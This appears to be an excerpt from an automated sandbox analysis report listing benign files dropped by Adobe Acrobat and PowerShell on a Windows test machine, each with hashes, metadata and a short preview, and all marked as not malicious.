SSDEEP:	6:YEQXJ2HXG2sz+A3WfHH9VoZcg1vRcR0YKzdWJqoAvJfbPtdPeUkwRe9:YvXKXG2sz/mvHEZc0vXQnGDV8Ukee9
MD5:	4BB776A5825AF193264EDBFE3BAE84A6
SHA1:	5B965357C55FC9D09C0A87B642F4DED93DC95EE9
SHA-256:	93D76BC413522F4F57D12D97B0557DC0DB428FE690BC8B237DBB8001EA53D5A6
SHA-512:	D8D972529A9C1224EEDFE96BDB43B0B8403C0AD13F36A19D3C355B73D2098253D0D578EF31F3C80B0E2259DE10CCA30AD1553DBFCF41D5308A62D92B971D60C4
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"51e64447-355b-4142-98a1-4e105efec386","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1736735402483,"statusCode":200,"surfaceID":"DC_Reader_RHP_Intent_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Retention

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	287
Entropy (8bit):	5.278883444136764
Encrypted:	false
SSDEEP:	6:YEQXJ2HXG2sz+A3WfHH9VoZcg1vRcR0YKzdWJqoAvJf21rPeUkwRe9:YvXKXG2sz/mvHEZc0vXQnG+16Ukee9
MD5:	D39CA6F76F213080EEB164A7B7671232
SHA1:	6A9A698E6BDC6464BFDCEA67D5376B734D3FFCBA
SHA-256:	F1C09009C0E175AE7DDC8456F9916B66F3F41E3F827AF1361E3F396B9E340EDC
SHA-512:	6FCDC66C5ED564FC3B4FF78474696B2FBFB0C7ACCA907744C2D1E56892EB83CCCCB649C2A7BCE25147039569DDF3FA778756F56109C6CA3CF041FF16988402AE
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"51e64447-355b-4142-98a1-4e105efec386","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1736735402483,"statusCode":200,"surfaceID":"DC_Reader_RHP_Retention","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Sign_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1090
Entropy (8bit):	5.666783677047059
Encrypted:	false
SSDEEP:	24:Yv6XGNmvHEzvZamXayLgE+cNDxeNaqnAvz7xHn0RCmK8czOC/BSmY:YvDNmvsNBgkDMUJUAh8cvMmY
MD5:	02E4996C6F32783582129E9748C21E13
SHA1:	E134E3AA92C2E6F739E6BCC94166C43326247EF1
SHA-256:	DE6A9846B0F934CF1CC45FBE6E2160E1E75F6FC29CC9C80D79FC457EB1BE74CC
SHA-512:	8148496CB6EE1D7B9427538290C55241FEA910003731A0E900BE0D33CB49247AC3138C91FA769D202436899555BF14E1591E495E905B567EABAD1E641F06E57C
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"51e64447-355b-4142-98a1-4e105efec386","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1736735402483,"statusCode":200,"surfaceID":"DC_Reader_Sign_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{"surfaceId":"DC_Reader_Sign_LHP_Banner"},"containerMap":{"1":{"containerAnalyticsData":{"actionBlockId":"93365_289436ActionBlock_0","campaignId":93365,"containerId":"1","controlGroupId":"","treatmentId":"266234d2-130d-426e-8466-c7a061db101f","variationId":"289436"},"containerId":1,"containerLabel":"JSON for DC_Reader_Sign_LHP_Banner","content":{"data":"eyJjdGEiOnsidGV4dCI6IkZyZWUgdHJpYWwiLCJjbGljayI6Im9wZW5Ub29sIiwidG9vbF9pZCI6IlVwZ3JhZGVSSFBSZHJBcHAifSwidWkiOnsidGl0bGVfc3R5bGluZyI6eyJmb250X3NpemUiOiIxNHB4IiwiZm9udF9zdHlsZSI6IjAifSwiZGVzY3JpcHRpb25fc3R5bGluZyI6eyJmb250X3NpemUiOiIxMnB4IiwiZm9udF9zdHlsZSI6Ii0xIn0sInRpdGxlIjpudWxsLCJkZXNjcmlwdGlvbiI6IkVhc2lseSBmaWxsIGFuZCBzaWduIFBERnMuIn0sInRjYXRJZCI6bnVsbH0=","dataType":"app

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Upsell_Cards

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	286
Entropy (8bit):	5.257643991442035
Encrypted:	false
SSDEEP:	6:YEQXJ2HXG2sz+A3WfHH9VoZcg1vRcR0YKzdWJqoAvJfshHHrPeUkwRe9:YvXKXG2sz/mvHEZc0vXQnGUUUkee9
MD5:	6704AB77414D390C657082E3296F2009
SHA1:	9703AB44708DD9ED089756F369E28E7BBB298D54
SHA-256:	1A83ED815F3C181EAF0A3552BD1B61CB6A2CA5845BAB90A5D203530AFD211EA5
SHA-512:	00A394E9E1EFCCF9AC0DBCA34B9FA77FC4EF16DF7F7CCA0BCE067DD9F2FBBDF274C1D1807EB4F16AE7FBE12D41A612471AA44F0C16EDC10473A8C84E4B357956
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"51e64447-355b-4142-98a1-4e105efec386","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1736735402483,"statusCode":200,"surfaceID":"DC_Reader_Upsell_Cards","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\Edit_InApp_Aug2020

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	282
Entropy (8bit):	5.268631723899904
Encrypted:	false
SSDEEP:	6:YEQXJ2HXG2sz+A3WfHH9VoZcg1vRcR0YKzdWJqoAvJTqgFCrPeUkwRe9:YvXKXG2sz/mvHEZc0vXQnGTq16Ukee9
MD5:	35AAC59F598BE650635B087FF4C250F9
SHA1:	8375B5D16CEF90827BFEC7AC3623358F59462FE1
SHA-256:	9F2C9A1B786A2F3BA0B841FD298DF477546A0BC9F2117F91C2544796A43888B6
SHA-512:	25C0A4289BB20328D217616AF77E5020F6401CF2FF405A6182C525D292CEBB2D67EF9C7DA88E519786D090EF122134A97377E25A5E748F80E74EEF841B693719
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"51e64447-355b-4142-98a1-4e105efec386","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1736735402483,"statusCode":200,"surfaceID":"Edit_InApp_Aug2020","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\TESTING

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	data
Category:	dropped
Size (bytes):	4
Entropy (8bit):	0.8112781244591328
Encrypted:	false
SSDEEP:	3:e:e
MD5:	DC84B0D741E5BEAE8070013ADDCC8C28
SHA1:	802F4A6A20CBF157AAF6C4E07E4301578D5936A2
SHA-256:	81FF65EFC4487853BDB4625559E69AB44F19E0F5EFBD6D5B2AF5E3AB267C8E06
SHA-512:	65D5F2A173A43ED2089E3934EB48EA02DD9CCE160D539A47D33A616F29554DBD7AF5D62672DA1637E0466333A78AAA023CBD95846A50AC994947DC888AB6AB71
Malicious:	false
Preview:	....

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\SOPHIA.json

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2814
Entropy (8bit):	5.1225196687368895
Encrypted:	false
SSDEEP:	24:YDnVva6mA33ay9heoh3sA4EMm2dUjQj0SvFz265AP2LSBCNI9cs/DwRFEs5v96vM:YvmgxsAn920iZGP7Z9cs/0Rhp96vM
MD5:	516B02EA6B111A8854271177420A11D4
SHA1:	2F9B76104E109F9E5FDA34F1B02F385BCADF8155
SHA-256:	84474AC904E58B5EE62ABF32931206CABB0785EAFFE69779D7664F1F46F7DE73
SHA-512:	0FE73DC2B5F71B1DE8A8E9608917DCC810394302D4620455D5159E21B4AC05FC8982DD09991A90B3A60F262E490CB4FED21E15B247D4172FD4043861555CA9C0
Malicious:	false
Preview:	{"all":[{"id":"DC_Reader_Disc_LHP_Banner","info":{"dg":"3391e4c8d683d0a623aa6dd53782c042","sid":"DC_Reader_Disc_LHP_Banner"},"mimeType":"file","size":289,"ts":1736558371000},{"id":"DC_Reader_Sign_LHP_Banner","info":{"dg":"d940b37daffb185fa5d09d836ec7966e","sid":"DC_Reader_Sign_LHP_Banner"},"mimeType":"file","size":1090,"ts":1736558371000},{"id":"DC_Reader_Convert_LHP_Banner","info":{"dg":"0f8f135cccc726ca0d7a340dd03cee3b","sid":"DC_Reader_Convert_LHP_Banner"},"mimeType":"file","size":1123,"ts":1736558371000},{"id":"DC_Reader_RHP_Intent_Banner","info":{"dg":"274a5703e96c7a33d445c4ce500e8e91","sid":"DC_Reader_RHP_Intent_Banner"},"mimeType":"file","size":291,"ts":1736558371000},{"id":"DC_Reader_Home_LHP_Trial_Banner","info":{"dg":"987ea71791029b8caa89afb00003756d","sid":"DC_Reader_Home_LHP_Trial_Banner"},"mimeType":"file","size":295,"ts":1736558371000},{"id":"DC_Reader_Disc_LHP_Retention","info":{"dg":"68b0f49defa05230f25f18126b6199a7","sid":"DC_Reader_Disc_LHP_Retention"},"mimeType":"fil

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite 3.x database, last written using SQLite version 3040000, file counter 25, database pages 3, cookie 0x2, schema 4, UTF-8, version-valid-for 25
Category:	dropped
Size (bytes):	12288
Entropy (8bit):	1.1887216515133223
Encrypted:	false
SSDEEP:	48:TGufl2GL7msEHUUUUUUUUM4SvR9H9vxFGiDIAEkGVvpo2:lNVmswUUUUUUUUj+FGSIt7
MD5:	0CB43B11A48AC4BE88CC7AF160D0123C
SHA1:	036A035B0C540532C7A1961B22CAB533D66DF9DD
SHA-256:	2CFBD448D6D138067CE4E4CE5432F26EF35FF15D951DADE076AA8BA0AB787375
SHA-512:	8600DD338AFB9A1750E09EE8DC4769D9CE12A03DC23150FEB187C1C3DD9F43FB212008FF7A7F939E6B24D2D1B6AC2E78A344199DC1A1969D6ED1C502B244CE1A
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................c.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents-journal

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite Rollback Journal
Category:	dropped
Size (bytes):	8720
Entropy (8bit):	1.6083115388802185
Encrypted:	false
SSDEEP:	48:7MfKUUUUUUUUUUMavR9H9vxFGiDIAEkGVvqqFl2GL7ms7:7lUUUUUUUUUU/FGSItEKVms7
MD5:	3A697E0934E2A780AA8B2719D4987940
SHA1:	2C3BDA4209E422827573773D419DFC04D1CE2D91
SHA-256:	067A2B096ECCD14369827086DFE3D69CF9997158510D174D942B34F3C940BF29
SHA-512:	07C92EADD0B5B101C20987467B75A846F5F023489BF5A6C067BB6B7244EF1EB7D93CE24EC9EDCAE236EB149792108420307E6C09280244C1F896E1ED5194D624
Malicious:	false
Preview:	.... .c.....X..Z......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................f.................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\UserCache64.bin

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	data
Category:	dropped
Size (bytes):	66726
Entropy (8bit):	5.392739213842091
Encrypted:	false
SSDEEP:	768:RNOpblrU6TBH44ADKZEgHZS3nbzO8wAi9P1qHj5HEMU4gYyu:6a6TZ44ADE5S3nbzO8wGEMiK
MD5:	6CF896E8FD81B10A0FD497B9159E550F
SHA1:	16972B2AD8CF863C1FCF9B80E5DB0E729E97F42D
SHA-256:	944D509DDD254D00AD24CF1770D0CF10CC061FB4D039670A347F0F5ADAF8EC2C
SHA-512:	18AD0B6C543D7D0730E8B1DBBEE8178AE9784967F48F14F95AD75FF7478059FC57EF41EA37FF7AF21F09C1016A4D6DB15B1BEEEA8C0E2E8BE9DA1275613624DC
Malicious:	false
Preview:	4.397.90.FID.2:o:..........:F:AgencyFB-Reg.P:Agency FB.L:$.........................."F:Agency FB.#.96.FID.2:o:..........:F:AgencyFB-Bold.P:Agency FB Bold.L:%.........................."F:Agency FB.#.84.FID.2:o:..........:F:Algerian.P:Algerian.L:$..........................RF:Algerian.#.95.FID.2:o:..........:F:ArialNarrow.P:Arial Narrow.L:$.........................."F:Arial Narrow.#.109.FID.2:o:..........:F:ArialNarrow-Italic.P:Arial Narrow Italic.L:$.........................."F:Arial Narrow.#.105.FID.2:o:..........:F:ArialNarrow-Bold.P:Arial Narrow Bold.L:%.........................."F:Arial Narrow.#.118.FID.2:o:..........:F:ArialNarrow-BoldItalic.P:Arial Narrow Bold Italic.L:%.........................."F:Arial Narrow.#.77.FID.2:o:..........:F:ArialMT.P:Arial.L:$.........................."F:Arial.#.91.FID.2:o:..........:F:Arial-ItalicMT.P:Arial Italic.L:$.........................."F:Arial.#.87.FID.2:o:..........:F:Arial-BoldMT.P:Arial Bold.L:$.........................."F:Arial.#.100.FID.2

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	64
Entropy (8bit):	1.1940658735648508
Encrypted:	false
SSDEEP:	3:NlllulJnp/p:NllU
MD5:	BC6DB77EB243BF62DC31267706650173
SHA1:	9E42FEFC2E92DE0DB2A2C9911C866320E41B30FF
SHA-256:	5B000939E436B6D314E3262887D8DB6E489A0DDF1E10E5D3D80F55AA25C9FC27
SHA-512:	91DC4935874ECA2A4C8DE303D83081FE945C590208BB844324D1E0C88068495E30AAE2321B3BA8A762BA08DAAEB75D9931522A47C5317766C27E6CE7D04BEEA9
Malicious:	false
Preview:	@...e.................................X..............@..........

C:\Users\user\AppData\Local\Temp\MSIa1f3a.LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	246
Entropy (8bit):	3.5193370621730837
Encrypted:	false
SSDEEP:	6:Qgl946caEbiQLxuZUQu+lEbYnuoblv2K8EebClAl:Qw946cPbiOxDlbYnuRK+bP
MD5:	8F7C85CD7EB8624207BA4BDD93E51EF5
SHA1:	7055ED120BCE9B61D293F39E870F9CB211FD3706
SHA-256:	2AE534BD911571F37916EE78DFA1337D6E805A4DE6AAEDE1E61EBDBC76743117
SHA-512:	D26EB92E9B7E303228557E1401727B7E85B239E164C4A7666B424A1FC505BFF7C36A4B986DC686E8477761F6D6C8D20C950D32792CAB6C1E9A620529FC316AE4
Malicious:	false
Preview:	..E.r.r.o.r. .2.7.1.1...T.h.e. .s.p.e.c.i.f.i.e.d. .F.e.a.t.u.r.e. .n.a.m.e. .(.'.A.R.M.'.). .n.o.t. .f.o.u.n.d. .i.n. .F.e.a.t.u.r.e. .t.a.b.l.e.......=.=.=. .L.o.g.g.i.n.g. .s.t.o.p.p.e.d.:. .1.0./.0.1./.2.0.2.5. . .2.0.:.1.9.:.3.4. .=.=.=.....

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_jxe1lvuf.nxi.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_lp0roy1p.dus.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\acrobat_sbx\NGL\NGLClient_AcrobatReader123.6.20320.6 2025-01-10 20-19-27-890.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with very long lines (393)
Category:	dropped
Size (bytes):	16525
Entropy (8bit):	5.345946398610936
Encrypted:	false
SSDEEP:	384:zHIq8qrq0qoq/qUILImCIrImI9IWdFdDdoPtPTPtP7ygyAydy0yGV///X/J/VokV:nNW
MD5:	8947C10F5AB6CFFFAE64BCA79B5A0BE3
SHA1:	70F87EEB71BA1BE43D2ABAB7563F94C73AB5F778
SHA-256:	4F3449101521DA7DF6B58A2C856592E1359BA8BD1ACD0688ECF4292BA5388485
SHA-512:	B76DB9EF3AE758F00CAF0C1705105C875838C7801F7265B17396466EECDA4BCD915DA4611155C5F2AD1C82A800C1BEC855E52E2203421815F915B77AA7331CA0
Malicious:	false
Preview:	SessionID=f94b8f43-fcd8-49f4-8c6e-bbf5cd863db9.1696420882088 Timestamp=2023-10-04T13:01:22:088+0100 ThreadID=3400 Component=ngl-lib_NglAppLib Description="-------- Initializing session logs --------".SessionID=f94b8f43-fcd8-49f4-8c6e-bbf5cd863db9.1696420882088 Timestamp=2023-10-04T13:01:22:089+0100 ThreadID=3400 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: No operating configs found".SessionID=f94b8f43-fcd8-49f4-8c6e-bbf5cd863db9.1696420882088 Timestamp=2023-10-04T13:01:22:089+0100 ThreadID=3400 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: Fallback to NAMED_USER_ONLINE!!".SessionID=f94b8f43-fcd8-49f4-8c6e-bbf5cd863db9.1696420882088 Timestamp=2023-10-04T13:01:22:089+0100 ThreadID=3400 Component=ngl-lib_NglAppLib Description="SetConfig: OS Name=WINDOWS_64, OS Version=10.0.19045.1".SessionID=f94b8f43-fcd8-49f4-8c6e-bbf5cd863db9.1696420882088 Timestamp=2023-10-04T13:01:22:089+0100 ThreadID=3400 Component=ngl-lib_NglAppLib Description="SetConfig:

C:\Users\user\AppData\Local\Temp\acrobat_sbx\NGL\NGLClient_AcrobatReader123.6.20320.6.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with very long lines (393), with CRLF line terminators
Category:	dropped
Size (bytes):	15114
Entropy (8bit):	5.338989718458645
Encrypted:	false
SSDEEP:	384:x5bAzFPbc32HsiMrEPwpKIF4crFf2bfVpe3Tlx1jM1/ViVEViVEKwx6QododgCYe:WrlwOcM
MD5:	963EC4259C1D38563129FF6FABB9E541
SHA1:	F694E807717686DFC0D8D3645ABCA0128AE8937D
SHA-256:	CAA213BAFC0DCAF2B53AFC052D6F198FF881B65BA0326D0691EB7C81AEE4D585
SHA-512:	ACA9570D6B9655958A6B326BEAEB8C6A4D1C50ED4CB29051D0850F85CBA263EC8871FBDC6FC82235BBF61AD0AC13769AA671E92775AF5195504C9F2ACBF51194
Malicious:	false
Preview:	SessionID=f7e1d0af-3528-477a-a4da-7e7f0ceac648.1736558367905 Timestamp=2025-01-10T20:19:27:905-0500 ThreadID=2756 Component=ngl-lib_NglAppLib Description="-------- Initializing session logs --------"..SessionID=f7e1d0af-3528-477a-a4da-7e7f0ceac648.1736558367905 Timestamp=2025-01-10T20:19:27:926-0500 ThreadID=2756 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: No operating configs found"..SessionID=f7e1d0af-3528-477a-a4da-7e7f0ceac648.1736558367905 Timestamp=2025-01-10T20:19:27:926-0500 ThreadID=2756 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: Fallback to NAMED_USER_ONLINE!!"..SessionID=f7e1d0af-3528-477a-a4da-7e7f0ceac648.1736558367905 Timestamp=2025-01-10T20:19:27:926-0500 ThreadID=2756 Component=ngl-lib_NglAppLib Description="SetConfig: OS Name=WINDOWS_64, OS Version=10.0.19045.1"..SessionID=f7e1d0af-3528-477a-a4da-7e7f0ceac648.1736558367905 Timestamp=2025-01-10T20:19:27:926-0500 ThreadID=2756 Component=ngl-lib_NglAppLib Description="SetConf

C:\Users\user\AppData\Local\Temp\acrobat_sbx\acroNGLLog.txt

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	29752
Entropy (8bit):	5.391711604555017
Encrypted:	false
SSDEEP:	768:anddBuBYZwcfCnwZCnR8Bu5hx18HoCnLlAY+iCBuzhLCnx1CnPrRRFS10l8gT2rN:E2
MD5:	796839E0448E81B1A7C0764FD7F2CFE7
SHA1:	919841198A15FDC77F4A627478C8C1A37EA72AF2
SHA-256:	785F021603E66B0CDC97BF3A9E2FDDD88880EFDAB994B67E4519E5AD1877EAEE
SHA-512:	D9DBC91E78B61FD529A4E07DC2CF70FC284B8232A6AE312EB9D6115DE70D1FBFA813AA0CEF810E2301CA1FD313DB85C49AC9AE16CA55635F92218923F16D3FCA
Malicious:	false
Preview:	03-10-2023 12:50:40:.---2---..03-10-2023 12:50:40:.AcroNGL Integ ADC-4240758 : *************************************..03-10-2023 12:50:40:.AcroNGL Integ ADC-4240758 : ***********************************..03-10-2023 12:50:40:.AcroNGL Integ ADC-4240758 : **** Starting new session ******..03-10-2023 12:50:40:.AcroNGL Integ ADC-4240758 : Starting NGL..03-10-2023 12:50:40:.AcroNGL Integ ADC-4240758 : Setting synchronous launch...03-10-2023 12:50:40:.AcroNGL Integ ADC-4240758 ::::: Configuring as AcrobatReader1..03-10-2023 12:50:40:.AcroNGL Integ ADC-4240758 : NGLAppVersion 23.6.20320.6..03-10-2023 12:50:40:.AcroNGL Integ ADC-4240758 : NGLAppMode NGL_INIT..03-10-2023 12:50:40:.AcroNGL Integ ADC-4240758 : AcroCEFPath, NGLCEFWorkflowModulePath - C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1 C:\Program Files\Adobe\Acrobat DC\Acrobat\NGL\cefWorkflow..03-10-2023 12:50:40:.AcroNGL Integ ADC-4240758 : isNGLExternalBrowserDisabled - No..03-10-2023 12:50:40:.Closing File..03-10-

C:\Users\user\AppData\Local\Temp\acrocef_low\07aafea3-a1c6-4863-8bb8-4a86a4aa6231.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 1311022
Category:	dropped
Size (bytes):	386528
Entropy (8bit):	7.9736851559892425
Encrypted:	false
SSDEEP:	6144:8OSTJJJJEQ6T9UkRm1lBgI81ReWQ53+sQ36X/FLYVbxrr/IxktOQZ1mau4yBwsOo:sTJJJJv+9UZX+Tegs661ybxrr/IxkB1m
MD5:	5C48B0AD2FEF800949466AE872E1F1E2
SHA1:	337D617AE142815EDDACB48484628C1F16692A2F
SHA-256:	F40E3C96D4ED2F7A299027B37B2C0C03EAEEE22CF79C6B300E5F23ACB1EB31FE
SHA-512:	44210CE41F6365298BFBB14F6D850E59841FF555EBA00B51C6B024A12F458E91E43FDA3FA1A10AAC857D4BA7CA6992CCD891C02678DCA33FA1F409DE08859324
Malicious:	false
Preview:	...........]s[G. Z...{....;...J$%K&..%.[..k...S....$,.`. )Z..m........a.......o..7.VfV...S..HY}Ba.<.NUVVV~W.].;qG4..b,N..#1.=1.#1..o.Fb.........IC.....Z...g_~.OO.l..g.uO...bY.,[..o.s.D<..W....w....?$4..+..%.[.?..h.w<.T.9.vM.!..h0......}..H..$[...lq,....>..K.)=..s.{.g.O...S9".....Q...#...+..)>=.....\|6......<4W.'.U.j$....+..=9...l.....S..<.\.k.'....{.1<.?..<..uk.v;.7n.!...g....."P..4.U........c.KC..w._G..u..g./.g....{'^.-\|..h#.g.\.PO.\|...]x..Kf4..s..............+.Y.....@.K....zI..X......6e?[..u.g"{..h.vKbM<.?i6{%.q)i...v..<P8P3.......CW.fwd...{:@h...;........5..@.C.j.....a.. U.5...].$.L..wW....z...v.......".M.?c.......o..}.a.9..A..%V..o.d....'..\|m.WC.....\|.....e.[W.p.8...rm....^..x'......5!...\|......z..#......X_..Gl..c..R..`...*.s-1f..]x......f...g...k........g....... ).3.B..{"4...!r....v+As...Zn.]K{.8[..M.r.Y..........+%...]...J}f]~}_..K....;.Z.[..V.&..g...>...{F..{I..@~.^.\|P..G.R>....U..../HY...(.z.<.~.9OW.Sxo.Y

C:\Users\user\AppData\Local\Temp\acrocef_low\1cc1519d-a857-4e2e-bfef-d29146bb26f9.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 299538
Category:	dropped
Size (bytes):	758601
Entropy (8bit):	7.98639316555857
Encrypted:	false
SSDEEP:	12288:ONh3P65+Tegs6121YSWBlkipdjuv1ybxrr/IxkB1mabFhOXZ/fEa+vTJJJJv+9U0:O3Pjegf121YS8lkipdjMMNB1DofjgJJg
MD5:	3A49135134665364308390AC398006F1
SHA1:	28EF4CE5690BF8A9E048AF7D30688120DAC6F126
SHA-256:	D1858851B2DC86BA23C0710FE8526292F0F69E100CEBFA7F260890BD41F5F42B
SHA-512:	BE2C3C39CA57425B28DC36E669DA33B5FF6C7184509756B62832B5E2BFBCE46C9E62EAA88274187F7EE45474DCA98CD8084257EA2EBE6AB36932E28B857743E5
Malicious:	false
Preview:	...........kWT..0...W`.........b..@..nn........5.._..I.R3I..9g.x....s.\+.J......F...P......V]u......t....jK...C.fD..]..K....;......y._.U..}......S.........7...Q.............W.D..S.....y......%..=.....e..^.RG......L..].T.9.y.zqm.Q]..y..(......Q]..~~..}..q...@.T..xI.B.L.a.6...{..W..}.mK?u...5.#.{...n...........z....m^.6!.`.....u...eFa........N....o..hA-..s.N..B.q..{..z.{=..va4_`5Z........3.uG.n...+...t...z.M."2..x.-...DF..VtK.....o]b.Fp.>........c....,..t..an[............5.1.(}..q.q......K3.....[>..;e..f.Y.........mV.cL...]eF..7.e.<.._.o\.S..Z...`..}......>@......\|.......ox.........h.......o....-Yj=.s.g.Cc\.i..\..A.B>.X..8`...P......[..O...-.g...r..u\...k..7..#E....N}...8.....(..0....w....j.......>.L....H.....y.x3...[>..t......0..z.qw..]X..i8..w.b..?0.wp..XH.A.[.....S..g.g..I.A.15.0?._n.Q.]..r8.....l..18...(.].m...!\|G.1...... .3.`./....`~......G.............\|..pS.e.C....:o.u_..oi.:..\|....joi...eM.m.K...2%...Z..j...VUh..9.}.....

C:\Users\user\AppData\Local\Temp\acrocef_low\7282d05b-a7e2-471c-8941-2ba846ae2909.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 33081
Category:	dropped
Size (bytes):	1407294
Entropy (8bit):	7.97605879016224
Encrypted:	false
SSDEEP:	24576:/xA7o5dpy6mlind9j2kvhsfFXpAXDgrFBU2/R07/WLaGZDwYIGNPJe:JVB3mlind9i4ufFXpAXkrfUs0jWLaGZo
MD5:	A0CFC77914D9BFBDD8BC1B1154A7B364
SHA1:	54962BFDF3797C95DC2A4C8B29E873743811AD30
SHA-256:	81E45F94FE27B1D7D61DBC0DAFC005A1816D238D594B443BF4F0EE3241FB9685
SHA-512:	74A8F6D96E004B8AFB4B635C0150355CEF5D7127972EA90683900B60560AA9C7F8DE780D1D5A4A944AF92B63C69F80DCDE09249AB99696932F1955F9EED443BE
Malicious:	false
